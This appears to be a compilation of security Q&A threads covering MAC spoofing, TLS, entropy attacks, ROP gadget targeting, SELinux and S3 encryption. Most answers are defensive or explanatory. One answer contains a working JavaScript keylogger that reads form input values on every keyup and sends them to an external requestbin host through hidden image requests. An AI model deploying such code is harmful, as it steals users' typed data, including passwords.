Open the RTF file with a binary editor (or a text editor such as vim, not an editor which will try to interpret the RTF file). Decode "mentally" the file with the help of the RTF specification. Think very hard. An overflow exploit would probably appear in the RTF file as a funky-looking structure with overlong weird identifiers or inordinate nesting.
Contact Microsoft and ask for details. This method works better if you are a government official from a big enough country, or you are very rich, or both.


Cannot identify or block unknown MAC addresses (Part 2) Previously, I mentioned 5 unknown MAC addresses often connecting to my router, and noticeably causes my internet to be slow.

Router: Tenda D303, Location: India, Connection: BSNL Unlimited 1Mbps broadband.

User drjimbob helped to eliminate other possible causes for slow internet, and here’s my research:

“Possibly weak passphrase for Wi-Fi, hence neighbours using it.”

I’ve been using WPA2-PSK authentication, with AES encryption. Tried several complex passphrases for a month now. There are no neighbours other than some close family members, and I have discussed with them this issue.

“Interference from neighbours’ routers.”

It’s more like a countryside, more greenery, and less routers in here. I couldn’t find any visible Wi-Fi access points or a router other than mine in my home and vicinity. Also, not many wireless equipment here that could cause interference.

“Malware or user-installed software like bittorrent using up bandwidth.”

Couldn’t find any malware on any of my devices, nor any heavy downloading.

“ISP’s problem.”

Highly unlikely because when I disable Wi-Fi and use internet via Ethernet from the same router, all works fine, on all PCs.

Now let's set aside the slow internet issue. These 5 MAC addresses, all starting with 00:ff, and titled “DELL” in the DHCP table is what troubles me.

My research shows a clear correlation between slow internet and presence of these 5.
I “banned” these 5 under router’s MAC filter, yet they pass through.
These 5 are not my devices. My 2 DELL laptops appear separately with their own MAC addresses starting with 9c:2a and 64:5a respectively. I even checked all my other devices’ MAC addresses.

Questions:

What are these 5 MAC addresses?
How do I get rid of them?

EDIT: The 5 MAC addresses are: 00:ff:93:86:02:04, 00:ff:10:ad:b7:82, 00:ff:14:97:c9:73, 00:ff:eb:72:a3:85, 00:ff:f6:cc:8e:f7

Those 5 MAC addresses all are in the 00:FF domain, which are traditionally used for bridged/routed adapters.   They aren't assigned to any individual vendor by the IEEE.  In this case, you have two possibilities:

1) A malicious actor somehow spoofing MAC addresses on your internal network, or

(much more likely)

2) A computer on your network has some type of virtual (VPN, Virtual Machine, Docker Container, Internet Connection Sharing, etc) adapter(s) which are registering with your router as they show up in the subnet's ARP table.  Perhaps traffic generated by those sessions is causing the internet to be slow, as 1MBps can easily be clogged up by streaming or downloading etc.

It's likely the reason that banning them on your router's DHCP table doesn't seem to work is that they don't need DHCP to function -- they're using the host computer's IP address.  They're also having traffic routed through that main computer's interface, thus using the main computer's MAC address.

In the end, as others have suggested the only way to conclusively determine what the issue is would be to run a packet capture/trace to see what traffic that MAC address is generating, which might require changing the router with one that supports such inspection.

Reference: Lookup MAC by Vendor - https://regauth.standards.ieee.org/standards-ra-web/pub/view.html#registries


Crash a computer using waves or similar techniques? I am trying to prevent a potential attack, by first learning how to perform it.

Pretend there is a cheap £20 - £50 computer, which an attacker with physical access to wishes to crash. This computer will remain plugged into the power (electric going through it), but must be crashed (as in not working while the attacker is attacking it).

This attack will be short to medium term, so highest 2 months at a time. It must not cause permanent damage, as much as possible.

The attacker is limited as it is protected by a plastic case, good locks, and various anti tamper protection. However, the gap between the circuits and plastic is only a few centimeters. We have no way of preventing anyone getting physical access.

Must be as easy, cheap, less technical, and safe as possible. No use recommending something which has a long distance so exposes humans or other computers which are nearby. But they will very rarely be within a meter of the device, the device could be pointed in the direction of the computer attached to the front of the plastic case, and put in a lead box to stop leakage?

With the above in mind - what would be the best way to achieve this? EMP, but would that not damage computer? Xrays? Any ideas are welcome.

Please note: we only want physical attacks at the moment, such as using waves. No software attacks, nor hacking WiFi etc... this is to crash the computer, think of this like crashing a calculator (except more powerful).

EDIT:
Think of the device like an electric "smart" meter. That shape, cost, design, hardware, almost similar security.

Several motherboards have overheating protection, if the computer or especially the CPU / graphics card gets too hot, the computer will switch off. So ... turn up the heat in the room (with a big heat-source) until the computer starts rebooting indefinetly. It will be hard not to damage other components I think.

In order not to target other nearby components, you could use another box, that you put over the target-computer and fill it with hot air or something similar.


Can a web page really log keystrokes on a different page shown later on the same tab (or a different tab)? According to this Reddit comment, an advertisement on one page seems to be able to log a user's keystrokes on a different page (if I understand the comment correctly).
Is this really true?
Can an advertisement even log keystrokes on its parent page?

Yes, if an advertisement script is included directly in the page with the script tag. It's possible to listen on all keyup and touch events and capture the keystrokes. Web analytic tools analyze stuff like page movements and how long the user stays on the web page. If they get this data they could also log keystrokes.
I build a keylogger PoC in JS: https://github.com/Leetcore/hackerz/blob/master/Keylogger.js
document.addEventListener('keyup', function () {
    document.querySelectorAll('input').forEach(function (element) {
      if (element.value.length > 0) {
        document.body.insertAdjacentHTML('beforeend', '<img style="display:none;" src="http://requestbin.net/r/xxx?element='+ element.name +'&value='+ element.value +'"/>');
      }
    });
});

It captures every keyup event, iterates through all input tags with values and inserts a hidden IMG to make the cross domain request for the other domain.


Can an SSL cert/key pair indicate that they need an intermediate I generate a cert and key. When I enter them into a hosting provider their form fails validation saying that the intermediate is invalid. I didn't enter an intermediate, so I so I filed a support issue. They counter that my cert/key pair has an issues because they can use a self signed pair on a test environment. Can a cert/key pair indicate that they require an intermediate?

X.509 certificates include a pointer to the authority that they fall under. That can include an intermediate certificate. This means you may need to install a copy of that certificate locally. Consider this article.


Attacks Relying on Poor Entropy I'm creating a quantum random number generator as part of my thesis.
As part of the research phase, I'm trying to substantiate my aspertion that encryption is significantly weakened if a computer system has poor entropy available to it.
However, I can't seem to find any specific attacks that exploit this weakness.
Does anyone know of any specific attacks, theoretical or implemented, that I can read up on?

One notorious PRNG attack was the attack on the PRNG that was used for SSL in early versions of Netscape, as published in this paper written in 1996 by two PhD students at Berkeley.  As explained in the paper, the PRNG relied on three sources of 'entropy': the time of day, the process ID, and the parent process ID.


Getting sudden spam emails with my name and city The last three days I've been getting email spam to my Gmail account with some variation of the following body content:

Hey [my name], are you from [my city]?

And then there will be some random key strokes/gibberish below it, maybe 10 to 20 characters with spacing. Are others receiving similar messages or familiar with the method/goal of this kind of spam?

One weird note is that one of these emails was somehow nested as part of a completely different past conversation from a different sender (it was just a newsletter for an app company).  I don't know if there is any relation or if the header info for the email confused Gmail into grouping the messages somehow.

One goal of modern spammers is to identify individuals who will likely be easy victims. Responding to such a random, unexpected message may indicate a certain naivety which can be lucrative when nefariously exploited. The random letters may be an attempt to throw off spam filters.

In regards to the email being added to an existing conversation, did that particular message appear to come from an email in the chain? It's possible the sender's address was spoofed. Perhaps the spammer gained access to email addresses from that company's address book and was attempting to appear more legitimate.


How much data can an app gather from my Android device? I am wondering how much data an app on my phone can gather. For instance, let's say I download Angry Birds on my Android device and log in with my gmail account. How much information will be available? Can the app see my wi-fi SSID? Can it get my internal and/or external IP address? My physical coordinates?

In addition, if two or more devices are connected to the same wi-fi network, would it be possible for the app to "know" that both of those devices are connected to it?

Can the app see my wi-fi SSID?

Yes.

  Can it get my internal and/or external IP address?

Yes.

  My physical coordinates?

Yes.

  In addition, if two or more devices are connected to the same wi-fi network, would it be possible for the app to "know" that both of those devices are connected to it?

Yes.

An app can actually do all that, except from knowing your physical coordinates, without requiring any permissions. This is evident on an app I use, Net Analyzer. The only permission it asks for is Location. When revoking this permission, it can still see a large amount on information regarding your network such as internal/external IP addresses, MAC addresses, other devices on your network, the services running on these devices, etc.

Note that without any permissions your external IP address can be identified - this gives the opportunity to locate your position, although it won't be very accurate.

To stay safe from an app obtaining too much information, I would recommend disabling unnecessary or dangerous permissions as shown on this article. Some app developers show their permissions along with an explanation of why they are required which is a good way to identify why the permissions are needed, and what permissions can be denied without affecting the performance of the application. It's very difficult to know exactly what an app is doing behind the scenes, and the only real way to know is to decompile the app and view the Java source code.


Is it worth reporting a asp.net runtime error? I found a runtime error on united.com.

Is it worth submitting? The exception doesn't seem to show any identifiable information.

The best practice for web applications is to not reveal any unwanted information to the outside.

A custom error message should be displayed on any errors. You can let the developers know.

However, these would be just informational findings.


How to check if I have a rogue SSL/TLS certificate? It's known, that if someone manages to install their certificate as a trusted certificate on your Windows computer, they can read all you SSl/TLS traffic with man-in-the-middle attack and you won't notice.

Is there a simple practical way of determining, if you have any of those certificates installed? When you look at your certificate store, there are a lot of certificates there, and most of them are legitimate ones. How can one tell which ones are "ok" and which ones may represent a security risk?

RCC or Sigcheck will do that for you.
RCC checks the Firefox root store too.


Secure file sharing, instead of attaching files to emails? Allow me to give some background information, so you may understand my situation better.

We have been prone to sending emails to unintended recipients, many of which contained confidential data. Email is the only medium of communication. We do not have a CRM. Customer Service Associates (CSA) can be untrained, or the intended recipients change frequently. As you can imagine, this is kind of an ad-hoc setup.

What I would like to get your suggestions on are, how do we make sure that any file that goes out of my email box is password protected? The second and most important question is, is there anyway that I can share documents in a Dropbox kind of way, where the CSA can only add the link to the document in the email, and later on, if we find that that the person was not supposed to receive the email, we can just delete the file from the Dropbox and no harm done.

There are many products that will detect outbound emails with attachments; simply block all outbound emails with attachments, configure the block to respond to the sender with a message informing them that they must deposit the file and share the link.


Recognizing malicious URL attempts against your website On serveral websites I've run, I periodically see URLs run against my servers that look like this:

/url_result?ctw_=sT,een_j...tdmlydXMtc2NhbS1lb........

Does anyone recognize it? I've tried to Google related URLs.

I suppose I'm expecting to see "attempting to find a vulnerability in x CMS".

But I don't see much.

Googling for "url_result ctw_" I found "I think it is yahoo japan search result for some music search and it also does translation into japanese language from english.
honyaku.yahoofs.jp is yahoo japan search engine and when you go to that address it is yahoo japan transtext site (text translation)" (here), and I also see 'real people' referencing it, and those references are OK.

There are many (838000) hits, it's obviously a common referer.


How is a random salt derived from output of password_hash(), given that hashing functions are deterministic? Regarding the PHP function password_verify(), how is the "unhashed" random salt derived from the output of password_hash(), given that hashing functions are deterministic? It seems to me that, if the original salt is able to be derived from the final hash, then the salt was only used to produce the final hash after the hashing function has completed its iteration count. If this is the case, why use a salt in the first place? Why not just provide some arbitrary (but still large) iteration count?

password_hash and password_verify currently use either bcrypt or argon2 which both use the PHC string format. The salt is included in the hash format. It's not derived by password_verify, it's literally just right there in the hash you give it. This is not a weakness because a salt is not required to be secret, it must only be universally unique.

Your confusion about how password_verify obtains the salt seems to be caused by conflicting terminology. The word "hash" is often used to refer to the entire PHC format string (including the hash function identifier, parameters, salt, and actual hash value), as well as  the actual hash output by a hashing function.

See here for why salts are used. If you want a secret that an attacker would have to know to hash passwords, that's called a pepper.


How do attackers determine ROP gadgets remotely? Being gadgets change per each system and architecture (do they?), how would an attacker be able to determine the offsets of various Return Oriented Programming gadgets, would an attacker first need to determine:
-The operating system?
-The architecture the operating system is running on (i386, 64bit, arm, arm64, etc)
-Possibly even more information?
Is this solely in the realm of information gathering, or are offsets universal? Maybe perhaps I should download some virtual machines and test manually? I'm aware libc versions have universal offsets, does this hold true to binaries also?

ROP gadgets are based on the process' executable pages, which in practice usually means based on the process binary and the binaries of any libraries linked to it at runtime (there are exceptions with processes that use JIT compilers, like browsers, but mostly that's not the relevant situation). This does mean that building a ROP chain requires knowing the process being targeted pretty precisely, including which architecture it's compiled for.
So, how to do that? Well, for a lot of things, it's pretty easy: most software doesn't change very often, so you get target the current version, and there aren't that many architectures in use so you can usually target x86 (if Windows desktop), AMD64 (if Linux or MacOS desktop, if one of the programs where the default Windows version is AMD64 now, or any server), or ARM/ARM64 if targeting a specific mobile device. Most malware isn't trying to target a specific computer, it's just trying to spread as wide as possible, because the impetus behind most malware is money (ransomware and cryptominers, but also old-school spyware and even adware).
So, you just target the most common kind of system that runs the software you have an exploit for, and the most common version of that software (at least among vulnerable ones). Remember that ROP is a payload; if the correctness of your ROP chain matters at all, you already exploited the process and gained control of the instruction pointer! Typically, that means you know pretty precisely the relevant software version.
Some info gathering is also an option, especially for more targeted attacks. Software such as nmap will try to guess operating system identity and software version based on either explicit version strings or heuristics about behavior. Some software just outright tells you all the relevant details, such as browser user-agent strings. You can also look for data through other sources, like if you're targeting a company, have they published anything about their infrastructure?
Another option is a multi-payload target. You build a collection of payloads, and then you hide them behind a bootstrapper that extracts some information about the system after initial exploitation, and loads the appropriate payload. This is, practically speaking, often mandatory anyhow: ASLR is near-universal now, and it breaks most situations where you would use ROP unless you can extract some object from memory and compare it to what you expected in order to determine the ASLR mask. Since you then must apply that mask to your ROP chain (unless you found a library without ASLR to target), you're already sending a custom ROP chain anyhow.
Finally, you can just try 'em all! If you're attacking a server, odds are that it's on a cluster of machines all running identical hardware and software. So you exploit one (whichever the load balancer gives you first), and if that doesn't work you just try again. The first server will probably crash if the initial exploit succeeds at all, but that's OK; the load balancer will probably stop targeting it until the watchdog brings it online again. This kind of brute-force approach is very "noisy", of course - tons of servers crashing unexpectedly tends to set off alarms - but firing off network requests is fast and most exploits are even faster, so you might still be able to get in before any human response can be mustered. What you do then is hard to say - the defenders will be trying to kick you out ASAP - but it's totally possible to try something like grabbing some secrets (keys, credentials, private files, whatever) or just doing quick recon for a future attack once they stop watching so closely.


Storing email addresses in plain text is okay? You know one of those news when someone says "thousands of users' passwords and personal emails have leaked...". It's the type of stuff that I assume would be prevented if the emails were encrypted in the app's logic, before storing them into the database, because whoever gets the database dump, doesn't necessarily have the decryption key.

Yet, I cannot find any such advice when I search how to store emails in a database. And anything that revolves around question about storing emails, is usually about length and charsets, and everyone keeps implying that storing email addresses in plain text is okay.

It seems a little contradicting...

Should I encrypt email addresses before storing into the database? Would I gain anything by doing so? And do security-aware developers/companies usually do anything of that sort?

Nowadays with all the related data privacy regulations in place where it mandates protection data on transport and data on rest.

Hence you should encrypt those email address, which is considered as PII, when storing to database. Now this comes another level complexity since you need to protect your key that will be used for encrypting/decrypting.

What will you get? Well a solution that is partly compliant to data privacy regulations. This will add value to your solution especially if you are working or with a partnership with big companies (they have huge risk in case data breach will occur in terms of reputation).


How to decrypt a password for recovery with php I have a website that people can sign up for and sign in to. I would like to implement a password recovery system that sends you the decrypted password. When the user signs up, the password is salted with the users unique username, peppered with a secret key, and then hashed with SHA256.

Is there any way that I could do this if I know the secret key, the users username, the hashed result, and the encryption method?

You are asking us for the best way to shoot yourself in the foot. As Peter Harmann says, there is absolutely no legitimate reason to do password recovery by decrypting and emailing passwords. If you can decrypt the passwords, an attacker could potentially do the same. The whole point of password hashing is to avoid that! Additionally, email is not a very safe medium so littering peoples inboxes with passwords is not good practice.

So what to do instead? The traditional way to do password recovery is to email a password reset link to the user. The link contains a securely random, long token connected to the user. This token allows the person clicking the link to change the password once. Note that the token should expire within some reasonable time. If you want to learn more, Troy Hunt has a nice article on it.

While you are at it, there are some important things you need to do to improve your password hashing:

Most importantly, and this is a major deal, do not use a single round of SHA-256. This is not nearly good enough. You need to use a slow algorithm, like bcrypt or similar. See this question.
It is better to use a random salt than to use the username. This isn't as important as the above point, but it's still good practice.


How has TLS renegotiation been fixed? I've read RFC 5746 on the TLS secure renegotiation extension. However, I don't understand how it fixes the problem.

Client and server are required to include the verify_data from the previous handshake in the ClientHello and ServerHello messages. The fix protects against an attacker who is an active MITM. Couldn't this attacker just include his verify_data in the ClientHello he intercepts from the client (remember, this is all unsigned, key exchange is going on) and strip the verify_data from the ServerHello the server responds with? This way, the server will think secure renegotiation is going on, while the client will see an empty renegotiated_connection field which corresponds with the fact it's starting a new connection.

My reasoning must be wrong, can someone point it out?

In a TLS handshake, the "Finished" messages contain a value which is a hash of all the handshake messages exchanged so far (for this handshake). If the attacker alters the ClientHello then the hash will not match: when the second handshake completes (the first and only handshake in the view of the client, the second handshake from the point of view of the server), the client sends a 'Finished' message that the attacker cannot modify (it is encrypted & MACed with the newly negotiated key), and that message contains a hash computer over, among other things, the ClientHello that the client sent. If the server saw a distinct ClientHello (one without the renegotiation extension), then he will compute a distinct hash, the "Finished" contents will not match, and the connection will be aborted.


CVE-2016-5195 Dirty Cow on Android I was wondering if there is a possibility to exploit the CVE-2016-5195 vulnerability on Android?

Since Android runs on linux kernel, I would expect the answer to be yes.
Yet, I was not able to find any mentions online.

EDIT:
This question was marked as duplicate, however, I would like to keep it, so that it is focused on the impact on Android, rather than general impact of the vulnerability.

https://www.theguardian.com/technology/2016/oct/21/dirty-cow-linux-vulnerability-found-after-nine-years (near the end of the article) seems to say its a YES.


How does WPA2-Enterprise protect against an evil twin attack? Original question title: What information do EAP-TLS certificates contain

I recently read a couple of topics on stackoverflow, concerning the verification of Wi-Fi access points:

How Are Wi-Fi access points verified?
Why is a CA certificate required for EAP-TLS clients?

The answers to these questions made it clear to me that it is possible to verify access points with EAP-TLS, much in the same way as sites can be verified using HTTPS. Wikipedia also confirms this:

  After the server is securely authenticated to the client via its CA
  certificate (..)

However, in HTTPS it is easy, you connect to a domain (e.g. https://www.facebook.com), and your browser checks whether or not the server you are connecting to has a trusted certificate that contains that domainname.

My question is: What information does the certificate that the AP sends to the client, contain: is it the SSID, or something else?

A follow-up question: How can the user know that it is connected to a trusted AP? Again, with HTTPS, my browser will give a warning. Will my PC or mobile device warn me if I'm connecting to an untrusted access point? Or is the only way to notice that there is something wrong the simple fact that one has to re-enter his/her credentials?

I assume the question is about the "server" certificates used by PEAP, EAP-TLS, and EAP-TTLS to protect password authentication, as this wouldn't be a problem at all with client-certificate-based EAP-TLS.

I doubt the EAP standards documents would ever have this information, given the crazy inconsistency across implementations (which surely wouldn't be as bad otherwise). Also consider that EAP and 802.1X were used by Ethernet and PPP dial-up a long time before WiFi, so the standards likely wouldn't talk about SSIDs.

Update: RFC 7593 ("eduroam") was published recently and discusses this in more detail. eduroam is probably the largest service using 802.1X/EAP, with many federated realms worldwide. Its summary in RFC 7593, especially section 7.1, talks a bit about the situation of server verification among eduroam users.

  What information does the certificate that the AP sends to the client, contain: is it the SSID, or something else?

The PEAPv0 draft does not talk about this at all.

The PEAPv1 draft says:
"The peer SHOULD verify the validity of the EAP server
certificate, and SHOULD also examine the EAP server name presented in
the certificate, in order to determine whether the EAP server can be
trusted."

It doesn't however describe how the server name should be verified, and in fact admits that the name could be wrong:
"Please note that in the case where the EAP authentication is
remoted, the EAP server will not reside on the same machine as the
authenticator, and therefore the name in the EAP server's certificate
cannot be expected to match that of the intended destination. In this
case, a more appropriate test might be whether the EAP server's
certificate is signed by a CA controlling the intended destination and
whether the EAP server exists within a target sub-domain."

RFC 5281, which specifies EAP-TTLS, requires verification against a known CA, plus checking that it has the "server authentication" extendedKeyUsage enabled.

(Note that even the CA checking isn't always implemented; for example, iOS and Windows 8.1 ask the user to verify the certificate fingerprint when connecting for the first time.

The EAP-TTLS specification doesn't require any common-name or subjectAltName value as far as I can see. Some clients (Windows, wpa_supplicant) have a configuration setting for what the expected "common name" should be, while others don't care at all.

Note that the certificate isn't always sent by the AP, but often by the RADIUS server handling the authentication. There are federations like eduroam, which use the same SSID everywhere (some places even offer eduroam-authenticated Ethernet ports), but all authentication requests are routed to home organizations based on the @domain in the login name, and each organization has its own EAP certificate. So in a better world, the @domain is what should be compared against the certificate.

For example, Microsoft KB 814394 documents the requirements the Windows PEAP client has.

  How can the user know that it is connected to a trusted AP? Again, with HTTPS, my browser will give a warning. Will my PC or mobile device warn me if I'm connecting to an untrusted access point? Or is the only way to notice that there is something wrong the simple fact that one has to re-enter his/her credentials?

Depending on the client, you'll have some combination of the following checks:

fingerprint remembered on first use (seen on iOS, Windows 8.1)
common name checked against a configured value
issuer checked against a whitelist, which usually contains only the organization's internal authority (using a public CA is secure only as long as the common name is checked)

From my experience, the mismatches are shown practically the same way as authentication errors; only wpa_supplicant can be made more verbose.

Since many clients have CA verification as the only option, the only possible secure mode is verifying the EAP certificate against a dedicated CA for the organization. (If your EAP certificate is from Thawte, and clients can be configured to require a Thawte-issued certificate but don't do any subject/CN checks, then literally anyone could buy a regular SSL certificate from Thawte and use it on a fake AP...)

Unfortunately, if the client has an option to accept everything, pretty much everyone will use it, since installing a new CA is painful. (Not to mention that it often also allows the organization to spoof HTTPS sites, which is not very desirable, and even causes a permanent warning icon on Android.)

The eduroam network has tried to make this simpler by providing a standard setup tool and iOS profiles, but only a small part actually uses it.

As a result, you might never notice that something is wrong.


In iptables and conntrack is ESTABLISHED, RELATED the same as RELATED, ESTABLISHED when default policy is drop? My default policy for all chains is drop. I'm trying to understand if there is a difference between the order of ESTABLISHED,RELATED and RELATED,ESTABLISHED when conntrack is entered into a rule command.

For are these two command the same?

sudo iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT

sudo iptables -A INPUT -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT

There is no difference depending on the order. It is just a list of one ore more states that you want to match.

If you want separate packet/byte counters, you can create two rules, one with ESTABLISHED and one with RELATED.


With Nmap it is possible to scan according mac address? I would like to know if it's possible to use Nmap in order to scan hosts according to their mac address.

Or if it's not possible to do it directly, is there an option (i didn't find) to select only hosts with a specific mac address?

Keep in mind that nmap is an IP based scanner. Based on the information that you have provided, I would suggest using nmap to perform a host discovery i.e. identifying active hosts in a network. This step will give you a list of active IP addresses.

You can use ARP to resolve the IP addresses (Obtained during host discovery) to MAC addresses (Assuming its all in the same local area network). Once you have identified the MAC addresses that you wish to scan, feed the corresponding IP addresses to nmap for scanning.

In short:

Host Discovery > IP to MAC conversion > Identify target IP addresses using MAC > Port scanning

Refer this for more information on using nmap.


Can a proxy server redirect traffic to malicious websites or modify downloads? I was wondering if a proxy server from the internet could redirect traffic to malicious websites or download malware or even modify downloads( I do not plan on using a proxy server i found from the internet just wondering )

Proxy servers can modify both request and response in arbitrary ways, can connect to different systems instead of the requested ones etc. This also includes manipulating downloads or manipulating responses so that the browser gets redirected. And this is not just theoretical but actually happens in practice, i.e. proxies injecting ads, injecting malware etc.

This is especially true for plain HTTP connections. For HTTPS connections this will not work as long as the browser properly checks the certificates (which it usually does) and the user does not skip over certificate warnings and of course if the users system is not already compromised. But note that the proxy might already intercept some initial plain HTTP connections which originally would redirect to the HTTPS site and could redirect the user instead to a similar looking HTTPS site under the proxies control.

For more see “Free” Proxies Aren’t Necessarily Free from 2015 or a more recent paper An Extensive Evaluation of the Internet’s Open Proxies.


Which software RNG for linux? A headless server can suffer from a lack of entropy, which is a problem given that encryption needs random numbers.  In the absence of a hardware random number generator (RNG) the numbers must be generated by software.

And a busy Tor server can consume a lot of those numbers.

Which software RNG is the "best" (i.e. least deterministic) at providing the random numbers needed for secure cryptography on Linux?

If you have some entropy to work with, then use /dev/urandom. Either the kernel has it, or you can inject it in /dev/urandom (e.g. with "cat file > /dev/urandom").

If you do not have such entropy, then you lose.

Note that being headless is not the major issue, since even without a keyboard and mouse, the machine still has disks and network, and get a lot of entropy-bearing hardware events from these. If the machine got "enough" entropy at any point in its life since the OS was installed, then, by the magic of cryptography, it still has it, and /dev/urandom is how you access it. The one remaining issue is when you begin to clone virtual machines.

/dev/urandom is always preferable over /dev/random.


Assuming a good hash system, if 2 hashes has about 50% of their bits the same, what is the likelihood that the corresponding plaintext is the same? I am new to cryptography and this practice question is puzzling me. Please help!

Looks like a trick question.

With a perfect (cryptographic) hash then there should be no correlation between the input and output of the hash, therefore the similarity of the hash outputs should bear no relation to the similarity of the 2 inputs.

Indeed, if you pick 2 random hash outputs then, on overage 50% of the bits will be the same. If you pick any 2 random peices of data, then on average half the bits will be the same.

If you apply the same hash function to the same data it should always produce the same result. There's only a very low probability of 2 different messages picked at random resulting in the same hash (a collision). The likelihood of this occurring for a perfect hash is dependant on the length of the hash (with a 1 bit hash, the probability is 50%, 2 bits, 25% etc).

The similaritiy of the output has nothnig to do with the similarity of the input.


Verifying Host Sterility After Running Malware Tests on Virtual Machine I know that "VM escape" is becoming a common issue now with malware testing. I'm just wondering if there's any way of verifying if the host system is clean from any infection after running a malware test (I'm using Cuckoo Sandbox) on a virtual machine (VirtualBox).

Based on this answer, having an up-to-date anti-virus software should be able to protect the host system from these type of situation. Are there any other ways of checking if the host is safe?

Any help will be greatly appreciated!

There's no such thing as "verifying sterility"

In general, there's no such thing as verifying sterility, instead you reduce the risk as much as is reasonable and assume the risk that remains. The usually accepted way to ensure sterility of some system is to restore it to a known good state instead of attempting to verify whether the current state is good.

If you do an in-depth analysis of the malware itself and believe that you've understand everything that it does (and how it does it), then you may see that it doesn't contain any VM escape capability, and (assuming you're right!) that it poses no risk for you.

If you follow basic best practices e.g. the VM system is up to date with fixes for any known bugs enabling escape, the network connections of that VM are properly secured, there are no mapped folders where that VM might write data, etc. then it's plausible that you consider that the risk of VM escape is not meaningful for you.

However, if you do consider that the malware might have a reasonable chance of succeeding in VM escape, then you do NOT attempt to verify sterility of the host system - you treat the host system as possibly compromised and follow the standard course of action, which usually is to nuke it from orbit. If VM escape is within your risk profile, then you assume that host workstations may get compromised, don't keep secret data or credentials on them, implement appropriate network security, and treat them as disposable - you would want a capability to easily re-image the host system to a 'known good' setup after each experiment.


How to check Google SSL certificate? I encountered this error on Google Chrome on my Windows 10. I solved it by installing the certificate and now it is working fine.

I wonder, how do I know the certificate I have is legit? That is, that it actually comes from Google and not from a man in the middle?

Based on your description and the link you've provided you've likely installed a CA certificate for SSL interception.

  ... how do I know the certificate I have is legit? That is, actually comes from Google and not from a man in the middle?

It does not come from Google. It comes from a man in the middle. It might be a legit man in the middle or not. It is usually not legit if you are using some public WLAN. It is usually legit if you are in a company which does SSL interception. But in this case ask your network administrator if you've got the correct certificate.

In any case: don't just install some certificate you've got from somewhere. In case of legal SSL interception these certificates get usually automatically installed at company equipment but you might need to install it on your own equipment (if you are even allowed to use this inside the company network). But in general you should only install such a certificate after someone you trust explicitly told you that this is legal SSL interception and not just because you've got some annoying certificate warning and just want to somehow continue with what you were doing.

For more details see Is it common practice for companies to MITM HTTPS traffic? and Is visiting HTTPS websites on a public hotspot secure?.


Sequential identifying string that can't be reverse engineered (the "invoice number" problem) Let's say I operate a website where you can create cat pictures. I give every cat picture a unique identifier so that it can be shared on social media with http://catpictures.com/base62Identifier.

I could give the cat pictures sequential identifiers such as 1,2,3, etc, but then it would be possible to easily discover how many new cat pictures the users create per day (by the largest identifier that returns HTTP 200 each day). This exposes me to the common strategy of ordering a product from your competitors once a month and noting the invoice number. Website traffic figures are well-correlated to business revenue so I obviously want to keep this information secret.

What I'm considering trying:

This sounds like a job for a hashing algorithm, right? The trouble is by observing a hash it's pretty easy to tell which algorithm created it (md5, crc32, etc). Someone with a rainbow table would make short work of that idea. I could salt the identifier [hash("salt"+1), hash("salt"+2), ...], but would then have to worry about the security associated with the salt. And collision checking.

Another idea I had was to generate a random string of characters and use that as the cat picture's primary key in the database (or just I could hash the first n bits of the cat picture data). This way I would only have to check for collisions.

Is there a standard, best-practice way avoiding exposing your traffic volumes through your unique identifier URLs?

Edit: I'm specifically looking for a solution that is a good combination of security and suitability as a database primary key or indexable column.

The standard approach to this kind of issue is to create a UUID  (Universally Unique Identifier) for each picture. This is generally a random 128-bit identifier which you can assign to each picture without any particular concern that it would be possible to enumerate the pictures via a brute-force attack on the namespace.

For example in .NET you can use the GUID structure for this kind of purpose. Since Windows 2000 (source), Guid.NewGuid generates random (version 4) UUID. (Ancient versions generated a version 1 UUID which reveals the date when it was generated, doing nothing to protect you from the "invoice number" problem.)


What are the security implications of disabling SELinux? Is there any attack that would be possible just by disabling SELinux? Particularly on a server running http and ssh services?

SELinux is largely about confining processes to specified resources and not allowing them to access other resources.

SELinux knows what Apache is, what files it should be able to access, what ports it should be able to bind to, etc. If someone exploits a vulnerability in your website and trys to read or write to files that aren't part of the webroot, SELinux will actually stop it from happening even if you've screwed up on your permissions and left it vulnerable (and it will send up a nice loud error too).

This is especially useful when running websites or other applications that may or may not be safe, due to dumb customers or old software that people are scared to update (or often exploited platforms like Java). It doesn't generally stop an exploit, but it does mitigate the damage afterwards and is supposed to keep the security problem contained to the exploited process.

Another example for desktops: Web browsers. Should they be able to read ~/.ssh? No! There's never a reason for a web browser to go in there, unless that web browser has been taken over by an attacker. SELinux will stop web browsers from accessing ~/.ssh, even though the browser is running with your user privs (as it probably should be).

EDIT: Many people turn off SELinux because things don't work when they turn it on. This is because SELinux expects things to be configured "like we told you to configure it in the Red Hat docs" (in the case of SELinux on EL systems), which means you run things on standard ports with standard file paths and don't do weird stuff. If you want to do weird stuff, audit2allow is your friend and you can build SELinux policies for whatever you need to do.


What does Amazon's S3 Server-side encryption protect against? Amazon's S3 storage service offers server-side encryption of objects, automatically managed for the user (Amazon's Documentation). It's easy to enable so I'm thinking "why not?", but what kind of security does this really provide?

I guess it prevents someone from wandering into the AWS datacenter and grabbing a hard drive, but that seems very unlikely, and presumably anyone with access like that could also get the AES keys, wherever they're stored.

It doesn't seem to protect the data once it's off the drives, since at that point it's decrypted, and anyone who has your credentials or can intercept the traffic will see the data in the clear. So what's the point, really? Just to say the data is "encrypted"?

The short answer is this: We have no idea, probably none.

It might protect against stolen backups. But that assumes Amazon even makes backups. That seems very unlikely. If they did, why couldn't they recover data from their last S3 data loss? It's much cheaper and more efficient just to use multiple live copies.

Also, Amazon would need the keys on every access. So it seems very unlikely that they store the keys anywhere other than approximately the same places they store the data. So if you're  imagining a theft of live data devices, it's just as likely that they get the keys as well.

But we don't know how Amazon stores, replicates, and/or backs up data. Nor do we know where they store the keys or how they distribute them. However, I've yet to hear a plausible argument that there exists a realistic threat they protect against. The "stolen backups" theory seems to be based on the false premise that Amazon uses backups when all the evidence suggests they use multiple, live copies with the keys quite nearby.

Dropbox's encryption, however, does protect against one real threat model, albeit a very unlikely one. Dropbox stores their own keys and sends them to you, so it does protect you from a rogue Amazon employee. In exchange, you're vulnerable to a rogue Dropbox employee or Dropbox security bug.

My own opinion is that Amazon added this feature just so they could say that data could be stored encrypted. Some people will mindlessly compare check boxes on feature lists and Amazon wanted a check box on the "secure/encrypted" line. Either way, the weakest link is most likely Amazon's internal network and human security and the validity of the implementation of the code that decides whether to permit accesses or not.


